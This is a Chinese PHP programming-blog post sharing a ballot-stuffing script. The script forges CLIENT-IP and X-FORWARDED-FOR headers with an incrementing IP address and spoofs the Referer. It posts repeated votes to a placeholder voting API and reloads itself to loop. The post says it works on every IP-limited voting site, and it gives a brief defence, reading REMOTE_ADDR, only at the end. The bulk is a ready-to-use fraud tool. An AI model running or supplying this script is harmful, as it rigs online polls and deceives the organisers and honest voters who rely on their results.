您的位置:首页 > 编程语言 > PHP开发

年关了,抛一个模拟ip刷票的php程序

2014-01-15 09:34 330 查看
<?php
$ip = $_GET['ip'] ? $_GET['ip'] : '1.1.1.1';
$ipArr = explode(".", $ip);
$ipArr[3] = $ipArr[3] + 1;
if ( $ipArr[3] > 254 )
{
$ipArr[3] = 1;
$ipArr[2] = $ipArr[2] + 1;
}
if ( $ipArr[2] > 254 )
{
$ipArr[2] = 1;
$ipArr[1] = $ipArr[1] + 1;
}
if ( $ipArr[1] > 254 )
{
$ipArr[1] = 1;
$ipArr[0] = $ipArr[0] + 1;
}
if ( $ipArr[0] > 254 )
{
exit();
}
$ip = implode(".", $ipArr);
// 此处设置投票的id
$post_data = 'vid=8';

// 投票的地址
$url = 'http://www.xxx.com/api.php?m=vote&a=voteto';
$user_agent = "Mozilla/4.0";

$headers['CLIENT-IP'] = $ip;
$headers['X-FORWARDED-FOR'] = $ip;

$headerArr = array();
foreach ( $headers as $n => $v )
{
$headerArr[] = $n . ':' . $v;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_HTTPHEADER, $headerArr); // 构造IP
curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com/ "); // 构造来路
curl_setopt($ch, CURLOPT_HEADER, 1);

curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);

ob_start();
curl_exec($ch);
$result = ob_get_contents();
ob_end_clean();

echo $result;
echo '<meta http-equiv="refresh" content="1;url=http://localhost/phpk/post.php?ip=' . $ip . '"> ';
?>


使用范围:所有限制ip地址的投票网站。投票数可到254*254*254*254。

如何防范该类刷票行为:

在获取客户端ip的时候优先使用:

$ip = getenv('REMOTE_ADDR');


用remote_addr可以有效控制模拟ip投票,除非使用代理才能绕过去,但是用web实现代理,速度就很慢了。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: